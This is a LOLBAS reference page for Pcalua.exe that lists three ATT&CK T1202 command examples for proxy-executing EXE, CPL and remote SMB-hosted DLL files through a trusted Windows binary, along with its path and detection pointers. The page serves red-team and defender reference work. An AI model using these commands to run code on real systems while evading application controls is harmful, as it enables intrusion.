LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Pcalua.exe

View source

Program Compatibility Assistant

Execute
03COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute3

EXAMPLE 01T1202

Open the target .EXE using the Program Compatibility Assistant.

COMMAND
pcalua.exe -a {PATH:.exe}
USE CASE
Proxy execution of binary
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE
EXAMPLE 02T1202

Open the target .DLL file with the Program Compatibilty Assistant.

COMMAND
pcalua.exe -a {PATH_SMB:.dll}
USE CASE
Proxy execution of remote dll file
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Execute · DLLExecute · Remote
EXAMPLE 03T1202

Open the target .CPL file with the Program Compatibility Assistant.

COMMAND
pcalua.exe -a {PATH_ABSOLUTE:.cpl} -c Java
USE CASE
Execution of CPL files
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL
02 / ON DISK

Known paths

C:\Windows\System32\pcalua.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Kyle Hanslovan@kylehanslovan
Fab@0rbz_